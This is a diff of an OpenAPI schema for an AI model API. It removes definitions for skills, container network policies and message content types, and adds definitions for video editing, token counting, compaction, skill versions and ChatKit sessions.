- description: References a skill created with the /v1/skills endpoint.
- default: skill_reference
- x-stainless-const: true
- skill_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The ID of the referenced skill.
- version:
+ id:
type: string
- description: Optional skill version. Use a positive integer or 'latest'. Omit for default.
+ description: The identifier of the completed video.
+ example: video_123
type: object
required:
- - type
- - skill_id
- InlineSkillSourceParam:
+ - id
+ description: Reference to the completed video.
+ CreateVideoEditMultipartBody:
properties:
- type:
- type: string
- enum:
- - base64
- description: The type of the inline skill source. Must be `base64`.
- default: base64
- x-stainless-const: true
- media_type:
- type: string
- enum:
- - application/zip
- description: The media type of the inline skill payload. Must be `application/zip`.
- default: application/zip
- x-stainless-const: true
- data:
+ video:
+ anyOf:
+ - type: string
+ format: binary
+ description: Reference to the completed video to edit.
+ - $ref: '#/components/schemas/VideoReferenceInputParam'
+ description: Reference to the completed video to edit.
+ prompt:
type: string
- maxLength: 70254592
+ maxLength: 32000
minLength: 1
- description: Base64-encoded skill zip bundle.
+ description: Text prompt that describes how to edit the source video.
type: object
required:
- - type
- - media_type
- - data
- description: Inline skill payload
- InlineSkillParam:
+ - video
+ - prompt
+ title: Create video edit multipart request
+ description: Parameters for editing an existing generated video.
+ CreateVideoEditJsonBody:
properties:
- type:
- type: string
- enum:
- - inline
- description: Defines an inline skill for this request.
- default: inline
- x-stainless-const: true
- name:
- type: string
- description: The name of the skill.
- description:
+ video:
+ $ref: '#/components/schemas/VideoReferenceInputParam'
+ description: Reference to the completed video to edit.
+ prompt:
type: string
- description: The description of the skill.
- source:
- $ref: '#/components/schemas/InlineSkillSourceParam'
- description: Inline skill payload
+ maxLength: 32000
+ minLength: 1
+ description: Text prompt that describes how to edit the source video.
type: object
required:
- - type
- - name
- - description
- - source
- ContainerNetworkPolicyDisabledParam:
+ - video
+ - prompt
+ title: Create video edit JSON request
+ description: JSON parameters for editing an existing generated video.
+ CreateVideoExtendMultipartBody:
properties:
- type:
+ video:
+ oneOf:
+ - type: string
+ format: binary
+ description: Reference to the completed video to extend.
+ - $ref: '#/components/schemas/VideoReferenceInputParam'
+ description: Reference to the completed video to extend.
+ prompt:
type: string
- enum:
- - disabled
- description: Disable outbound network access. Always `disabled`.
- default: disabled
- x-stainless-const: true
+ maxLength: 32000
+ minLength: 1
+ description: Updated text prompt that directs the extension generation.
+ seconds:
+ $ref: '#/components/schemas/VideoSeconds'
+ description: 'Length of the newly generated extension segment in seconds (allowed values: 4, 8, 12, 16, 20).'
type: object
required:
- - type
- ContainerNetworkPolicyDomainSecretParam:
+ - video
+ - prompt
+ - seconds
+ title: Create video extension multipart request
+ description: Multipart parameters for extending an existing generated video.
+ CreateVideoExtendJsonBody:
properties:
- domain:
- type: string
- minLength: 1
- description: The domain associated with the secret.
- name:
- type: string
- minLength: 1
- description: The name of the secret to inject for the domain.
- value:
+ video:
+ $ref: '#/components/schemas/VideoReferenceInputParam'
+ description: Reference to the completed video to extend.
+ prompt:
type: string
- maxLength: 10485760
+ maxLength: 32000
minLength: 1
- description: The secret value to inject for the domain.
+ description: Updated text prompt that directs the extension generation.
+ seconds:
+ $ref: '#/components/schemas/VideoSeconds'
+ description: 'Length of the newly generated extension segment in seconds (allowed values: 4, 8, 12, 16, 20).'
type: object
required:
- - domain
- - name
- - value
- ContainerNetworkPolicyAllowlistParam:
+ - video
+ - prompt
+ - seconds
+ title: Create video extension JSON request
+ description: JSON parameters for extending an existing generated video.
+ DeletedVideoResource:
properties:
- type:
+ object:
type: string
enum:
- - allowlist
- description: Allow outbound network access only to specified domains. Always `allowlist`.
- default: allowlist
+ - video.deleted
+ description: The object type that signals the deletion response.
+ default: video.deleted
x-stainless-const: true
- allowed_domains:
- items:
- type: string
- type: array
- minItems: 1
- description: A list of allowed domains when type is `allowlist`.
- domain_secrets:
- items:
- $ref: '#/components/schemas/ContainerNetworkPolicyDomainSecretParam'
- type: array
- minItems: 1
- description: Optional domain-scoped secrets for allowlisted domains.
+ deleted:
+ type: boolean
+ description: Indicates that the video resource was deleted.
+ id:
+ type: string
+ description: Identifier of the deleted video.
type: object
required:
- - type
- - allowed_domains
- IncludeEnum:
- type: string
- enum:
- - file_search_call.results
- - web_search_call.results
- - web_search_call.action.sources
- - message.input_image.image_url
- - computer_call_output.output.image_url
- - code_interpreter_call.outputs
- - reasoning.encrypted_content
- - message.output_text.logprobs
- description: |-
- Specify additional output data to include in the model response. Currently supported values are:
- - `web_search_call.results`: Include the search results of the web search tool call.
- - `web_search_call.action.sources`: Include the sources of the web search tool call.
- - `code_interpreter_call.outputs`: Includes the outputs of python code execution in code interpreter tool call items.
- - `computer_call_output.output.image_url`: Include image urls from the computer call output.
- - `file_search_call.results`: Include the search results of the file search tool call.
- - `message.input_image.image_url`: Include image urls from the input message.
- - `message.output_text.logprobs`: Include logprobs with assistant messages.
- - `reasoning.encrypted_content`: Includes an encrypted version of reasoning tokens in reasoning item outputs. This enables reasoning items to be used in multi-turn conversations when using the Responses API statelessly (like when the `store` parameter is set to `false`, or when an organization is enrolled in the zero data retention program).
- MessageStatus:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- MessageRole:
+ - object
+ - deleted
+ - id
+ title: Deleted video response
+ description: Confirmation payload returned after deleting a video.
+ VideoContentVariant:
type: string
enum:
- - unknown
- - user
- - assistant
- - system
- - critic
- - discriminator
- - developer
- - tool
- PromptCacheBreakpointConfig:
+ - video
+ - thumbnail
+ - spritesheet
+ CreateVideoRemixBody:
properties:
- mode:
+ prompt:
type: string
- enum:
- - explicit
- description: The breakpoint mode. Always `explicit`.
- default: explicit
- x-stainless-const: true
+ maxLength: 32000
+ minLength: 1
+ description: Updated text prompt that directs the remix generation.
type: object
required:
- - mode
- title: Prompt cache breakpoint
- description: Marks the exact end of a reusable prompt prefix. The breakpoint inherits its TTL from the request's `prompt_cache_options.ttl`; the boundary is not rounded to a token block.
- InputTextContent:
+ - prompt
+ title: Create video remix request
+ description: Parameters for remixing an existing generated video.
+ TruncationEnum:
+ type: string
+ enum:
+ - auto
+ - disabled
+ PersonalityEnum:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - friendly
+ - pragmatic
+ TokenCountsBody:
properties:
- type:
- type: string
- enum:
- - input_text
- description: The type of the input item. Always `input_text`.
- default: input_text
- x-stainless-const: true
+ model:
+ anyOf:
+ - type: string
+ description: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
+ - type: 'null'
+ input:
+ anyOf:
+ - description: Text, image, or file inputs to the model, used to generate a response
+ anyOf:
+ - type: string
+ maxLength: 10485760
+ description: A text input to the model, equivalent to a text input with the `user` role.
+ - items:
+ $ref: '#/components/schemas/InputItem'
+ type: array
+ maxItems: 131072
+ description: A list of one or many input items to the model, containing different content types.
+ - type: 'null'
+ previous_response_id:
+ anyOf:
+ - type: string
+ description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ example: resp_123
+ - type: 'null'
+ tools:
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/Tool'
+ type: array
+ description: An array of tools the model may call while generating a response. You can specify which tool to use by setting the `tool_choice` parameter.
+ - type: 'null'
text:
- type: string
- description: The text input to the model.
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointConfig'
+ anyOf:
+ - $ref: '#/components/schemas/ResponseTextParam'
+ - type: 'null'
+ reasoning:
+ anyOf:
+ - $ref: '#/components/schemas/Reasoning'
+ description: '**gpt-5 and o-series models only** Configuration options for [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).'
+ - type: 'null'
+ truncation:
+ $ref: '#/components/schemas/TruncationEnum'
+ description: 'The truncation strategy to use for the model response. - `auto`: If the input to this Response exceeds the model''s context window size, the model will truncate the response to fit the context window by dropping items from the beginning of the conversation. - `disabled` (default): If the input size will exceed the context window size for a model, the request will fail with a 400 error.'
+ deprecated: true
+ instructions:
+ anyOf:
+ - type: string
+ description: |-
+ A system (or developer) message inserted into the model's context.
+ When used along with `previous_response_id`, the instructions from a previous response will not be carried over to the next response. This makes it simple to swap out system (or developer) messages in new responses.
+ - type: 'null'
+ personality:
+ $ref: '#/components/schemas/PersonalityEnum'
+ description: A model-owned style preset to apply to this request. Omit this parameter to use the model's default style. Supported values may expand over time. Values must be at most 64 characters.
+ conversation:
+ anyOf:
+ - $ref: '#/components/schemas/ConversationParam'
+ - type: 'null'
+ tool_choice:
+ anyOf:
+ - $ref: '#/components/schemas/ToolChoiceParam'
+ description: Controls which tool the model should use, if any.
+ - type: 'null'
+ parallel_tool_calls:
+ anyOf:
+ - type: boolean
+ description: Whether to allow the model to run tool calls in parallel.
+ - type: 'null'
type: object
- required:
- - type
- - text
- title: Input text
- description: A text input to the model.
- FileCitationBody:
+ required: []
+ TokenCountsResource:
properties:
- type:
+ object:
type: string
enum:
- - file_citation
- description: The type of the file citation. Always `file_citation`.
- default: file_citation
+ - response.input_tokens
+ default: response.input_tokens
x-stainless-const: true
- file_id:
- type: string
- description: The ID of the file.
- index:
+ input_tokens:
type: integer
- description: The index of the file in the list of files.
- filename:
- type: string
- description: The filename of the file cited.
type: object
required:
- - type
- - file_id
- - index
- - filename
- title: File citation
- description: A citation to a file.
- UrlCitationBody:
+ - object
+ - input_tokens
+ title: Token counts
+ example:
+ object: response.input_tokens
+ input_tokens: 123
+ PromptCacheRetentionEnum:
+ type: string
+ enum:
+ - in_memory
+ - 24h
+ ServiceTierEnum:
+ type: string
+ enum:
+ - auto
+ - default
+ - fast
+ - flex
+ - priority
+ CompactResponseMethodPublicBody:
properties:
- type:
+ model:
+ $ref: '#/components/schemas/ModelIdsCompaction'
+ input:
+ anyOf:
+ - description: Text, image, or file inputs to the model, used to generate a response
+ anyOf:
+ - type: string
+ maxLength: 10485760
+ description: A text input to the model, equivalent to a text input with the `user` role.
+ - items:
+ $ref: '#/components/schemas/InputItem'
+ type: array
+ maxItems: 131072
+ description: A list of one or many input items to the model, containing different content types.
+ - type: 'null'
+ previous_response_id:
+ anyOf:
+ - type: string
+ description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ example: resp_123
+ - type: 'null'
+ instructions:
+ anyOf:
+ - type: string
+ description: |-
+ A system (or developer) message inserted into the model's context.
+ When used along with `previous_response_id`, the instructions from a previous response will not be carried over to the next response. This makes it simple to swap out system (or developer) messages in new responses.
+ - type: 'null'
+ prompt_cache_key:
+ anyOf:
+ - type: string
+ maxLength: 64
+ description: A key to use when reading from or writing to the prompt cache.
+ - type: 'null'
+ prompt_cache_retention:
+ anyOf:
+ - $ref: '#/components/schemas/PromptCacheRetentionEnum'
+ description: How long to retain a prompt cache entry created by this request.
+ deprecated: true
+ - type: 'null'
+ prompt_cache_options:
+ anyOf:
+ - $ref: '#/components/schemas/PromptCacheOptionsParam'
+ - type: 'null'
+ service_tier:
+ anyOf:
+ - $ref: '#/components/schemas/ServiceTierEnum'
+ description: |-
+ Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
+ When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
+ - type: 'null'
+ type: object
+ required:
+ - model
+ ItemField:
+ discriminator:
+ propertyName: type
+ description: An item representing a message, tool call, tool output, reasoning, or other response element.
+ anyOf:
+ - $ref: '#/components/schemas/Message'
+ - $ref: '#/components/schemas/Program'
+ - $ref: '#/components/schemas/ProgramOutput'
+ - $ref: '#/components/schemas/FunctionToolCall'
+ - $ref: '#/components/schemas/ToolSearchCall'
+ - $ref: '#/components/schemas/ToolSearchOutput'
+ - $ref: '#/components/schemas/AdditionalTools'
+ - $ref: '#/components/schemas/FunctionToolCallOutput'
+ - $ref: '#/components/schemas/FileSearchToolCall'
+ - $ref: '#/components/schemas/WebSearchToolCall'
+ - $ref: '#/components/schemas/ImageGenToolCall'
+ - $ref: '#/components/schemas/ComputerToolCall'
+ - $ref: '#/components/schemas/ComputerToolCallOutputResource'
+ - $ref: '#/components/schemas/ReasoningItem'
+ - $ref: '#/components/schemas/CompactionBody'
+ - $ref: '#/components/schemas/CodeInterpreterToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCall'
+ deprecated: true
+ - $ref: '#/components/schemas/LocalShellToolCallOutput'
+ deprecated: true
+ - $ref: '#/components/schemas/FunctionShellCall'
+ - $ref: '#/components/schemas/FunctionShellCallOutput'
+ - $ref: '#/components/schemas/ApplyPatchToolCall'
+ - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
+ - $ref: '#/components/schemas/MCPListTools'
+ - $ref: '#/components/schemas/MCPApprovalRequest'
+ - $ref: '#/components/schemas/MCPApprovalResponseResource'
+ - $ref: '#/components/schemas/MCPToolCall'
+ - $ref: '#/components/schemas/CustomToolCall'
+ - $ref: '#/components/schemas/CustomToolCallOutput'
+ CompactResource:
+ properties:
+ id:
+ type: string
+ description: The unique identifier for the compacted response.
+ object:
type: string
enum:
- - url_citation
- description: The type of the URL citation. Always `url_citation`.
- default: url_citation
+ - response.compaction
+ description: The object type. Always `response.compaction`.
+ default: response.compaction
x-stainless-const: true
- url:
- type: string
- format: uri
- description: The URL of the web resource.
- start_index:
- type: integer
- description: The index of the first character of the URL citation in the message.
- end_index:
+ output:
+ type: array
+ description: The compacted list of output items. This is a list of all user messages, followed by a single compaction item.
+ items:
+ $ref: '#/components/schemas/OutputItem'
+ created_at:
type: integer
- description: The index of the last character of the URL citation in the message.
- title:
- type: string
- description: The title of the web resource.
+ format: unixtime
+ description: Unix timestamp (in seconds) when the compacted conversation was created.
+ usage:
+ $ref: '#/components/schemas/ResponseUsage'
+ description: Token accounting for the compaction pass, including cached, reasoning, and total tokens.
type: object
required:
- - type
- - url
- - start_index
- - end_index
- - title
- title: URL citation
- description: A citation for a web resource used to generate a model response.
- ContainerFileCitationBody:
+ - id
+ - object
+ - output
+ - created_at
+ - usage
+ title: The compacted response object
+ SkillResource:
properties:
- type:
+ id:
+ type: string
+ description: Unique identifier for the skill.
+ object:
type: string
enum:
- - container_file_citation
- description: The type of the container file citation. Always `container_file_citation`.
- default: container_file_citation
+ - skill
+ description: The object type, which is `skill`.
+ default: skill
x-stainless-const: true
- container_id:
+ name:
type: string
- description: The ID of the container file.
- file_id:
+ description: Name of the skill.
+ description:
type: string
- description: The ID of the file.
- start_index:
- type: integer
- description: The index of the first character of the container file citation in the message.
- end_index:
+ description: Description of the skill.
+ created_at:
type: integer
- description: The index of the last character of the container file citation in the message.
- filename:
+ format: unixtime
+ description: Unix timestamp (seconds) for when the skill was created.
+ default_version:
type: string
- description: The filename of the container file cited.
+ description: Default version for the skill.
+ latest_version:
+ type: string
+ description: Latest version for the skill.
type: object
required:
- - type
- - container_id
- - file_id
- - start_index
- - end_index
- - filename
- title: Container file citation
- description: A citation for a container file used to generate a model response.
- Annotation:
- discriminator:
- propertyName: type
- description: An annotation that applies to a span of output text.
- anyOf:
- - $ref: '#/components/schemas/FileCitationBody'
- - $ref: '#/components/schemas/UrlCitationBody'
- - $ref: '#/components/schemas/ContainerFileCitationBody'
- - $ref: '#/components/schemas/FilePath'
- TopLogProb:
+ - id
+ - object
+ - name
+ - description
+ - created_at
+ - default_version
+ - latest_version
+ SkillListResource:
properties:
- token:
- type: string
- logprob:
- type: number
- bytes:
+ object:
+ x-stainless-const: true
+ default: list
+ description: The type of object returned, must be `list`.
+ const: list
+ data:
items:
- type: integer
+ $ref: '#/components/schemas/SkillResource'
type: array
+ description: A list of items
+ first_id:
+ anyOf:
+ - type: string
+ description: The ID of the first item in the list.
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ description: The ID of the last item in the list.
+ - type: 'null'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
+ type: object
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ CreateSkillBody:
+ properties:
+ files:
+ anyOf:
+ - items:
+ type: string
+ format: binary
+ type: array
+ maxItems: 500
+ description: Skill files to upload (directory upload) or a single zip file.
+ - type: string
+ format: binary
+ description: Skill zip file to upload.
type: object
- required:
- - token
- - logprob
- - bytes
- title: Top log probability
- description: The top log probability of a token.
- LogProb:
+ description: Uploads a skill either as a directory (multipart `files[]`) or as a single zip file.
+ title: Create skill request
+ SetDefaultSkillVersionBody:
properties:
- token:
+ default_version:
type: string
- logprob:
- type: number
- bytes:
- items:
- type: integer
- type: array
- top_logprobs:
- items:
- $ref: '#/components/schemas/TopLogProb'
- type: array
+ description: The skill version number to set as default.
type: object
required:
- - token
- - logprob
- - bytes
- - top_logprobs
- title: Log probability
- description: The log probability of a token.
- OutputTextContent:
+ - default_version
+ title: Update skill request
+ description: Updates the default version pointer for a skill.
+ DeletedSkillResource:
properties:
- type:
+ object:
type: string
enum:
- - output_text
- description: The type of the output text. Always `output_text`.
- default: output_text
+ - skill.deleted
+ default: skill.deleted
x-stainless-const: true
- text:
+ deleted:
+ type: boolean
+ id:
type: string
- description: The text output from the model.
- annotations:
- items:
- $ref: '#/components/schemas/Annotation'
- type: array
- description: The annotations of the text output.
- logprobs:
- items:
- $ref: '#/components/schemas/LogProb'
- type: array
type: object
required:
- - type
- - text
- - annotations
- title: Output text
- description: A text output from the model.
- TextContent:
+ - object
+ - deleted
+ - id
+ SkillVersionResource:
properties:
- type:
+ object:
type: string
enum:
- - text
- default: text
+ - skill.version
+ description: The object type, which is `skill.version`.
+ default: skill.version
x-stainless-const: true
- text:
+ id:
+ type: string
+ description: Unique identifier for the skill version.
+ skill_id:
+ type: string
+ description: Identifier of the skill for this version.
+ version:
+ type: string
+ description: Version number for this skill.
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (seconds) for when the version was created.
+ name:
+ type: string
+ description: Name of the skill version.
+ description:
type: string
+ description: Description of the skill version.
type: object
required:
- - type
- - text
- title: Text Content
- description: A text content.
- SummaryTextContent:
+ - object
+ - id
+ - skill_id
+ - version
+ - created_at
+ - name
+ - description
+ SkillVersionListResource:
properties:
- type:
- type: string
- enum:
- - summary_text
- description: The type of the object. Always `summary_text`.
- default: summary_text
+ object:
x-stainless-const: true
- text:
- type: string
- description: A summary of the reasoning output from the model so far.
+ default: list
+ description: The type of object returned, must be `list`.
+ const: list
+ data:
+ items:
+ $ref: '#/components/schemas/SkillVersionResource'
+ type: array
+ description: A list of items
+ first_id:
+ anyOf:
+ - type: string
+ description: The ID of the first item in the list.
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ description: The ID of the last item in the list.
+ - type: 'null'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
type: object
required:
- - type
- - text
- title: Summary text
- description: A summary text from the model.
- ReasoningTextContent:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ CreateSkillVersionBody:
properties:
- type:
+ files:
+ anyOf:
+ - items:
+ type: string
+ format: binary
+ type: array
+ maxItems: 500
+ description: Skill files to upload (directory upload) or a single zip file.
+ - type: string
+ format: binary
+ description: Skill zip file to upload.
+ default:
+ type: boolean
+ description: Whether to set this version as the default.
+ type: object
+ description: Uploads a new immutable version of a skill.
+ title: Create skill version request
+ DeletedSkillVersionResource:
+ properties:
+ object:
type: string
enum:
- - reasoning_text
- description: The type of the reasoning text. Always `reasoning_text`.
- default: reasoning_text
+ - skill.version.deleted
+ default: skill.version.deleted
x-stainless-const: true
- text:
+ deleted:
+ type: boolean
+ id:
type: string
- description: The reasoning text from the model.
+ version:
+ type: string
+ description: The deleted skill version.
type: object
required:
- - type
- - text
- title: ReasoningTextContent
- description: Reasoning text from the model.
- RefusalContent:
+ - object
+ - deleted
+ - id
+ - version
+ ChatkitWorkflowTracing:
properties:
- type:
- type: string
- enum:
- - refusal
- description: The type of the refusal. Always `refusal`.
- default: refusal
- x-stainless-const: true
- refusal:
- type: string
- description: The refusal explanation from the model.
+ enabled:
+ type: boolean
+ description: Indicates whether tracing is enabled.
type: object
required:
- - type
- - refusal
- title: Refusal
- description: A refusal from the model.
- ImageDetail:
- type: string
- enum:
- - low
- - high
- - auto
- - original
- InputImageContent:
+ - enabled
+ title: Tracing Configuration
+ description: Controls diagnostic tracing during the session.
+ ChatkitWorkflow:
properties:
- type:
+ id:
type: string
- enum:
- - input_image
- description: The type of the input item. Always `input_image`.
- default: input_image
- x-stainless-const: true
- image_url:
+ description: Identifier of the workflow backing the session.
+ version:
anyOf:
- type: string
- format: uri
- description: The URL of the image to be sent to the model. A fully qualified URL or base64 encoded image in a data URL.
+ description: Specific workflow version used for the session. Defaults to null when using the latest deployment.
- type: 'null'
- file_id:
+ state_variables:
anyOf:
- - type: string
- description: The ID of the file to be sent to the model.
+ - additionalProperties:
+ anyOf:
+ - type: string
+ - type: integer
+ - type: boolean
+ - type: number
+ type: object
+ description: State variable key-value pairs applied when invoking the workflow. Defaults to null when no overrides were provided.
+ x-oaiTypeLabel: map
- type: 'null'
- detail:
- $ref: '#/components/schemas/ImageDetail'
- description: The detail level of the image to be sent to the model. One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointConfig'
+ tracing:
+ $ref: '#/components/schemas/ChatkitWorkflowTracing'
+ description: Tracing settings applied to the workflow.
type: object
required:
- - type
- - detail
- title: Input image
- description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
- ComputerScreenshotContent:
+ - id
+ - version
+ - state_variables
+ - tracing
+ title: Workflow
+ description: Workflow metadata and state returned for the session.
+ ChatSessionRateLimits:
properties:
- type:
- type: string
- enum:
- - computer_screenshot
- description: Specifies the event type. For a computer screenshot, this property is always set to `computer_screenshot`.
- default: computer_screenshot
- x-stainless-const: true
- image_url:
+ max_requests_per_1_minute:
+ type: integer
+ description: Maximum allowed requests per one-minute window.
+ type: object
+ required:
+ - max_requests_per_1_minute
+ title: Rate limits
+ description: Active per-minute request limit for the session.
+ ChatSessionStatus:
+ type: string
+ enum:
+ - active
+ - expired
+ - cancelled
+ ChatSessionAutomaticThreadTitling:
+ properties:
+ enabled:
+ type: boolean
+ description: Whether automatic thread titling is enabled.
+ type: object
+ required:
+ - enabled
+ title: Automatic thread titling
+ description: Automatic thread title preferences for the session.
+ ChatSessionFileUpload:
+ properties:
+ enabled:
+ type: boolean
+ description: Indicates if uploads are enabled for the session.
+ max_file_size:
anyOf:
- - type: string
- format: uri
- description: The URL of the screenshot image.
+ - type: integer
+ description: Maximum upload size in megabytes.
- type: 'null'
- file_id:
+ max_files:
anyOf:
- - type: string
- description: The identifier of an uploaded file that contains the screenshot.
+ - type: integer
+ description: Maximum number of uploads allowed during the session.
- type: 'null'
- detail:
- $ref: '#/components/schemas/ImageDetail'
- description: The detail level of the screenshot image to be sent to the model. One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointConfig'
type: object
required:
- - type
- - image_url
- - file_id
- - detail
- title: Computer screenshot
- description: A screenshot of a computer.
- FileInputDetail:
- type: string
- enum:
- - auto
- - low
- - high
- InputFileContent:
+ - enabled
+ - max_file_size
+ - max_files
+ title: File upload settings
+ description: Upload permissions and limits applied to the session.
+ ChatSessionHistory:
properties:
- type:
- type: string
- enum:
- - input_file
- description: The type of the input item. Always `input_file`.
- default: input_file
- x-stainless-const: true
- file_id:
+ enabled:
+ type: boolean
+ description: Indicates if chat history is persisted for the session.
+ recent_threads:
anyOf:
- - type: string
- description: The ID of the file to be sent to the model.
+ - type: integer
+ description: Number of prior threads surfaced in history views. Defaults to null when all history is retained.
- type: 'null'
- filename:
- type: string
- description: The name of the file to be sent to the model.
- file_data:
- type: string
- description: |
- The content of the file to be sent to the model.
- prompt_cache_breakpoint:
- $ref: '#/components/schemas/PromptCacheBreakpointConfig'
- file_url:
- type: string
- format: uri
- description: The URL of the file to be sent to the model.
- detail:
- $ref: '#/components/schemas/FileInputDetail'
- description: The detail level of the file to be sent to the model. Use `auto` to let the system select the detail level; for GPT-5.6 and later models, `auto` uses high-quality rendering, which may increase input token usage. Use `low` for lower-cost rendering, or `high` to render the file at higher quality. Defaults to `auto`.
type: object
required:
- - type
- title: Input file
- description: A file input to the model.
- MessagePhase-2:
- type: string
- enum:
- - commentary
- - final_answer
- Message:
+ - enabled
+ - recent_threads
+ title: History settings
+ description: History retention preferences returned for the session.
+ ChatSessionChatkitConfiguration:
properties:
- type:
+ automatic_thread_titling:
+ $ref: '#/components/schemas/ChatSessionAutomaticThreadTitling'
+ description: Automatic thread titling preferences.
+ file_upload:
+ $ref: '#/components/schemas/ChatSessionFileUpload'
+ description: Upload settings for the session.
+ history:
+ $ref: '#/components/schemas/ChatSessionHistory'
+ description: History retention configuration.
+ type: object
+ required:
+ - automatic_thread_titling
+ - file_upload
+ - history
+ title: ChatKit configuration
+ description: ChatKit configuration for the session.
+ ChatSessionResource:
+ properties:
+ id:
+ type: string
+ description: Identifier for the ChatKit session.
+ object:
type: string
enum:
- - message
- description: The type of the message. Always set to `message`.
- default: message
+ - chatkit.session
+ description: Type discriminator that is always `chatkit.session`.
+ default: chatkit.session
x-stainless-const: true
- id:
+ expires_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the session expires.
+ client_secret:
type: string
- description: The unique ID of the message.
+ description: Ephemeral client secret that authenticates session requests.
+ workflow:
+ $ref: '#/components/schemas/ChatkitWorkflow'
+ description: Workflow metadata for the session.
+ user:
+ type: string
+ description: User identifier associated with the session.
+ rate_limits:
+ $ref: '#/components/schemas/ChatSessionRateLimits'
+ description: Resolved rate limit values.
+ max_requests_per_1_minute:
+ type: integer
+ description: Convenience copy of the per-minute request limit.
status:
- $ref: '#/components/schemas/MessageStatus'
- description: The status of item. One of `in_progress`, `completed`, or `incomplete`. Populated when items are returned via API.
- role:
- $ref: '#/components/schemas/MessageRole'
- description: The role of the message. One of `unknown`, `user`, `assistant`, `system`, `critic`, `discriminator`, `developer`, or `tool`.
- content:
- items:
- discriminator:
- propertyName: type
- description: A content part that makes up an input or output item.
+ $ref: '#/components/schemas/ChatSessionStatus'
+ description: Current lifecycle state of the session.
+ chatkit_configuration:
+ $ref: '#/components/schemas/ChatSessionChatkitConfiguration'
+ description: Resolved ChatKit feature configuration for the session.
+ type: object
+ required:
+ - id
+ - object
+ - expires_at
+ - client_secret
+ - workflow
+ - user
+ - rate_limits
+ - max_requests_per_1_minute
+ - status
+ - chatkit_configuration
+ title: The chat session object
+ description: Represents a ChatKit session and its resolved configuration.
+ WorkflowTracingParam:
+ properties:
+ enabled:
+ type: boolean
+ description: Whether tracing is enabled during the session. Defaults to true.
+ type: object
+ required: []
+ title: Tracing Configuration
+ description: Controls diagnostic tracing during the session.
+ WorkflowParam:
+ properties:
+ id:
+ type: string
+ description: Identifier for the workflow invoked by the session.
+ version:
+ type: string
+ description: Specific workflow version to run. Defaults to the latest deployed version.
+ state_variables:
+ additionalProperties:
anyOf:
- - $ref: '#/components/schemas/InputTextContent'
- - $ref: '#/components/schemas/OutputTextContent'
- - $ref: '#/components/schemas/TextContent'
- - $ref: '#/components/schemas/SummaryTextContent'
- - $ref: '#/components/schemas/ReasoningTextContent'
- - $ref: '#/components/schemas/RefusalContent'
- - $ref: '#/components/schemas/InputImageContent'
- - $ref: '#/components/schemas/ComputerScreenshotContent'
- - $ref: '#/components/schemas/InputFileContent'
- type: array
- description: The content of the message
- phase:
- anyOf:
- - $ref: '#/components/schemas/MessagePhase-2'
- description: Labels an `assistant` message as intermediate commentary (`commentary`) or the final answer (`final_answer`). For models like `gpt-5.3-codex` and beyond, when sending follow-up requests, preserve and resend phase on all assistant messages — dropping it can degrade performance. Not used for user messages.
- - type: 'null'
+ - type: string
+ maxLength: 10485760
+ - type: integer
+ - type: boolean
+ - type: number
+ type: object
+ maxProperties: 64
+ description: State variables forwarded to the workflow. Keys may be up to 64 characters, values must be primitive types, and the map defaults to an empty object.
+ x-oaiTypeLabel: map
+ tracing:
+ $ref: '#/components/schemas/WorkflowTracingParam'
+ description: Optional tracing overrides for the workflow invocation. When omitted, tracing is enabled by default.
type: object
required:
- - type
- id
- - status
- - role
- - content
- title: Message
- description: A message to or from the model.
- DirectToolCallCaller:
+ title: Workflow settings
+ description: Workflow reference and overrides applied to the chat session.
+ ExpiresAfterParam:
properties:
- type:
+ anchor:
type: string
enum:
- - direct
- default: direct
+ - created_at
+ description: Base timestamp used to calculate expiration. Currently fixed to `created_at`.
+ default: created_at
x-stainless-const: true
+ seconds:
+ type: integer
+ maximum: 600
+ minimum: 1
+ format: int64
+ description: Number of seconds after the anchor when the session expires.
type: object
required:
- - type
- ProgramToolCallCaller:
+ - anchor
+ - seconds
+ title: Expiration overrides
+ description: Controls when the session expires relative to an anchor timestamp.
+ RateLimitsParam:
properties:
- type:
- type: string
- enum:
- - program
- default: program
- x-stainless-const: true
- caller_id:
+ max_requests_per_1_minute:
+ type: integer
+ minimum: 1
+ description: Maximum number of requests allowed per minute for the session. Defaults to 10.
